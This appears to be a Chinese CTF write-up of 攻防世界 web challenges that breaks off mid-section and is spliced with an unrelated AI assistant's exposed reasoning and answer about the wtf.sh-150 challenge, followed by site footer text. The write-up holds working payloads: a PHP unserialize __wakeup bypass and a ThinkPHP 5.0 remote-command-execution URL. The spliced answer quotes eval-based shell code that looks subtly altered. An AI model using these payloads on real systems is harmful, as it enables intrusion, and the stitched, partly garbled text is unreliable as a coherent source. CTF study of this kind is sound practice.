攻防世界 web 进阶题 001-012

本文解析了一系列CTF网络安全挑战赛中的题目,涵盖SQL注入、PHP代码审计、远程命令执行等多种安全漏洞利用技巧。

目录

001 baby_web

002 Training-WWW-Robots

003 Web_php_unserialize

004 php_rce

005 web_php_include

006.supersqli

007.ics-06

008.warmup

009 NewsCenter

010 NaNNaNNaNNaN-Batman

011  web2

012  PHP2



001 baby_web

题目:

方法一:
访问index.php,同时burp抓包,发给repeater分析,go,查看响应头,会得到flag。
方法二:
火狐浏览器,访问index.php,按F12,在网络部分中,响应头里有flag。收获:项目入口文件index.php.index.php文件是一个php网站首页文件,index是普遍意义上的“首页”,也就是你输入一个域名后会打开一个页面,基本上就是index.xxxx。(取材于某度)

 

002 Training-WWW-Robots

题目:打开会看到百度翻译:在这个小小的训练挑战中,您将了解Robots_exclusion_standard。
txt文件被网络爬虫用来检查他们是否被允许爬行和索引你的网站,或仅仅它的一部分。
有时这些文件会显示目录结构,而不是保护内容不被抓取。
享受吧!
查一下关于robots.txt的资料.
方法:访问robots.txt,结果如下
然后继续访问,f10g.php,得到flag.

收获:当一个搜索机器人(有的叫搜索蜘蛛)访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,那么搜索机器人就沿着链接抓取。并且,robots.txt必须放在一个站点的根目录下,而且文件名必须是小写。robots.txt就是告知搜索引擎哪些是允许访问的,哪些是不想被搜索引擎收录的。如果您希望搜索引擎收录网站上所有内容,请勿建立robots.txt文件。但是,robots.txt不是防火墙,不能阻止访问。

 

003 Web_php_unserialize

题目:打开后是这样一堆代码,那就是要进行代码审计了

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

1. isset()函数作用事检测变量是否存在,

若变量不存在则返回false;

若变量存在但是其值为null,也返回false;

若变量存在且其值不为null,则返回true.

2.  _construct(),类的构造函数;

     _destruct(),类的析构函数。

3. highlight_file(file) ,高亮显示出文件。

分析一下:首先是绕过正则匹配,然后进行反序列化,反序列化函数执行前,会执行wakeup()函数,故还要绕过wakeup()函数:
绕过正则匹配可以在//O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}中
4前面加上‘+’,   1表示Demo类的变量数
而wakeup()函数 当成员属性数目大于实际数目时可绕过wakeup方法  故把1改为2  

O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}
然后进行base64编码,然后传参,即可得到flag.

__sleep() 当调用searialize()方法时调用,返回值为数组,表示需要序列化的数据项.
__wakeup() 当调用unsearizlie()方法时调用。一般用来在唤醒时初始化资源对象.

#python代码
import base64
 
st = 'O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}'.encode()#默认以utf8编码
res = base64.b64encode(st)
print(res.decode())#默认以utf8解码
res = base64.b64decode(res)
print(res.decode())#默认以utf8解码

#结果:TzorNDoiRGVtbyI6Mjp7czoxMDoiIERlbW8gZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
#O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}

 (注意:不要用在线base64编码,我当时搞了好久,最后发现在线编码得出的结果不太正确),下面是payload.

index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

 或者可以用requests库

 

注意:

1.编码与解码的处理对象是byte,故对原数据要先编码,使原本的str类型变成byte,解码后直接输出来的是byte对象,故要解码成str对象。

2.%20是网页地址的空格符。html中的空格符是& nbsp;因为地址不能包含空格。它是序列化后的空格符。
在url传递参数的时候,一般都会序列化一下,以保证参数的安全。

 

004 php_rce

题目:打开题目后,看到如图:
发现是一个ThinkPHP的框架而且正好是v5.0版本。这个版本存在远程命令执行的漏洞,程序未对控制器进行过滤,导致攻击者可以通过\符号调用任意类。
方法一:利用system函数远程命令执行
使用payload

 /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls ../../../

来列出当前目录。


发现有如上图显示,但

<think> 首先,用户的问是关于“攻防世界wtf.sh - 150目信息及要求”。用户提供了几个引用,我需要参考这些引用并基于系统级指令来回答。 系统级指令关键点: - 所有行内数学表达式使用$...$格式,但这里可能不涉及数学公式,所以我可以忽略。 - 独立公式使用$$...$$格式,单独成段,同样可能不适用。 - LaTeX语法正确。 - 使用中文回答。 - 生成相关问- 回答中引用的段落末尾添加引用标识,如[^1]。 - 回答结构清晰,逐步解决问,保证真实可靠。 用户提供的引用: - 引用[1]: 解释了.sh文件是Shell脚本文件,用于执行任务。提到目需要Shell脚本知识。 - 引用[2]: 用户表达了对目的困惑,参考了大佬的思路,但还不完全理解。 - 引用[3]: 提供了目的详细分析,包括源码片段、token、cookie修改、flag位置,以及一个shell脚本函数include_page的代码。 用户的问:"我想获取攻防世界wtf.sh - 150目的信息和要求"。所以,我需要总结目的信息和解要求。 从引用中提取关键信息: - 目名称:wtf.sh - 150(来自攻防世界web进阶区)。 - 类型:这是一个WEB安全目,涉及Shell脚本知识(.sh文件)。 - 背景:攻防世界是一个网络安全学习平台,目通常涉及渗透测试、漏洞利用等。 - 具体内容:目似乎涉及一个网站使用.wtf扩展的文件,源码中有一个include_page函数,用于处理文件包含。需要分析源码、处理cookie、token等。 -步骤:包括修改cookie、找到flag(部分在profile处)、分析泄露的源码等。 - 要求:用户需要Shell脚本知识,因为目处理shell脚本的执行。 基于引用[3],目的关键点是: - 网站使用.wtf文件。 - include_page函数:处理文件包含,有深度限制(max_page_include_depth=64)。 - 执行脚本行(以$开头的行)。 - 需要修改cookie来获取或设置token。 - flag是分半找到的(在profile处找到前半个flag)。 由于用户请求“目信息及要求”,我应该提供: 1. **目信息**:描述目背景、目标、涉及的技术。 2. **解要求**:列出解所需的知识点和步骤。 确保回答结构清晰: - 逐步介绍目。 - 引用信息时添加引用标识。 - 使用中文。 - 最后生成相关问。 生成相关问:基于目内容,生成2-3个相关问,如关于解方法、漏洞利用等。 大纲回答: 1. **介绍目**:简述目来源、类型、目标。 2. **目信息**:详细描述基于引用的内容。 3. **解要求**:列出需要掌握的技能和步骤。 4. **生成相关问**:在回答末尾添加。 引用处理: - 当引用内容时,在句末加[^1], [^2], [^3]。 - 例如,提到Shell脚本时引用[1],提到解思路时引用[2]或[3]。 最终回答结构: - 开头简要回答。 - 分点解释。 - 最后“相关问”部分。 </think>### 攻防世界 wtf.sh - 150 目信息及要求 攻防世界(CTF 学习平台)中的 wtf.sh - 150 是一道 Web 安全进阶目,主要考察 Shell 脚本知识、文件包含漏洞利用和 Web 渗透技巧。该目模拟了一个使用 .wtf 扩展文件的网站,涉及源码分析、cookie 操作和 flag 获取。以下基于提供的引用信息,我将逐步介绍目信息和解要求,确保内容真实可靠(引用了用户提供的来源)。 #### 1. **目基本信息** - **目名称**: wtf.sh - 150(来自攻防世界 Web 进阶区)。 - **类型**: Web 安全挑战,涉及服务器端漏洞利用。 - **目标**: 通过分析网站源码和交互过程,获取隐藏的 flag(通常分为多个部分)。 - **技术背景**: 网站使用 .sh 和 .wtf 文件,其中 .sh 文件是 Shell 脚本文件,包含可执行的命令序列,常用于自动化任务;.wtf 文件是自定义扩展,包含混合的 HTML 和脚本代码,需通过特定函数解析[^1]。 - **关键文件**: 目网站源码中泄露了一个关键函数 `include_page`,该函数处理文件包含逻辑,支持执行以 `$` 开头的脚本行[^3]。 #### 2. **目详细信息** - **网站结构**: - 网站文件以 .wtf 扩展为主,例如页面可能命名为 `index.wtf` 或 `profile.wtf`。 - 核心功能包括文件包含机制,通过 `include_page` 函数实现,该函数有深度限制(`max_page_include_depth=64`),防止无限递归[^3]。 - 源码示例(来自引用): ```shell max_page_include_depth=64 page_include_depth=0 function include_page { # include_page pathname local pathname=$1 local cmd= [[ ${pathname:(-4)} = '.wtf' ]]; local can_execute=$? page_include_depth=$(($page_include_depth+1)) if [[ $page_include_depth -lt $max_page_include_depth ]]; then local line while read -r line; do # 检查是否为脚本行(以$开头) [[ $line = ${line:0:1}* && ${can_execute} = 0 ]]; is_script=$? if [[ $is_script = 0 ]]; then cmd+=$'\n'${line#$} else if [[ -n $cmd ]]; then eval $cmd || log "Error during execution of ${cmd}"; cmd= fi echo $line fi done < ${pathname} else echo "<p>Max include depth exceeded!</p>" fi } ``` 此函数读取 .wtf 文件,执行以 `$` 开头的行作为 Shell 命令(例如 `$echo "hello"`),其他行作为 HTML 输出[^3]。 - **漏洞点**: - 文件包含漏洞:`include_page` 函数未充分验证输入路径,可能导致路径遍历(Path Traversal)或远程文件包含(RFI)。 - Token 和 Cookie 操作:目涉及加密 token,通常存储在 cookie 中。通过修改 cookie(如使用浏览器开发者工具或脚本),可以绕过认证或获取敏感数据[^3]。 - Flag 分布:flag 被分割为多个部分,例如前半部分在 `profile` 页面找到,后半部分需要通过源码分析或漏洞利用获取[^3]。 - **解环境**:目提供一个在线 Web 接口,用户需通过浏览器或工具(如 Burp Suite)进行交互。真实场景中,网站响应可能包含 set-cookie 头部,需动态修改 cookie 值[^3]。 #### 3. **目要求** - **知识要求**: - **Shell 脚本基础**:必须熟悉 Shell 语法(如变量处理、条件判断、命令执行),因为目涉及 .sh 和 .wtf 文件的解析与执行[^1]。 - **Web 安全技能**:包括 cookie 操作、HTTP 请求/响应分析(如使用开发者工具)、和文件包含漏洞利用。 - **工具使用**:推荐使用 Burp Suite、curl 或 Python 脚本进行自动化测试,以处理 cookie 和 token。 - **解步骤要求**(基于引用中的思路): 1. **源码分析**:获取网站源码(可能通过漏洞泄露),重点审查 `include_page` 函数,识别可执行脚本行。 2. **Cookie 和 Token 处理**: - 在 HTTP 响应中找到 `set-cookie` 头部,修改 cookie 设置 token(例如,通过劫持会话)。 - 示例:在 `profile` 页面,修改 cookie 后可以获取 flag 的前半部分[^3]。 3. **文件包含利用**:尝试路径遍历(如 `../`)或注入恶意脚本,利用 `include_page` 执行任意命令(例如读取系统文件或获取 shell)。 4. **Flag 收集**:结合多个页面的输出,组装完整的 flag。注意深度限制(`max_page_include_depth`),避免触发错误。 5. **错误处理**:执行脚本时可能遇到错误(如 `eval` 失败),需捕获日志信息辅助调试[^3]。 - **注意事项**: - 目难度较高,许多用户反馈“做完后还是蒙的”,建议参考社区大佬的 write-up 并结合实践[^2]。 - 确保操作在合法环境进行,攻防世界目为模拟平台,不涉及真实攻击。 #### 4. **总结** wtf.sh - 150 是一道典型的 Web 进阶,重点考察 Shell 脚本与 Web 漏洞的结合利用。成功解需要逐步分析源码、操作 cookie 和执行命令,最终获取 flag。如果您在尝试中遇到问,建议从源码函数入手,逐步调试(引用信息仅供参考,实际解可能需更多实验)[^1][^2][^3]。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值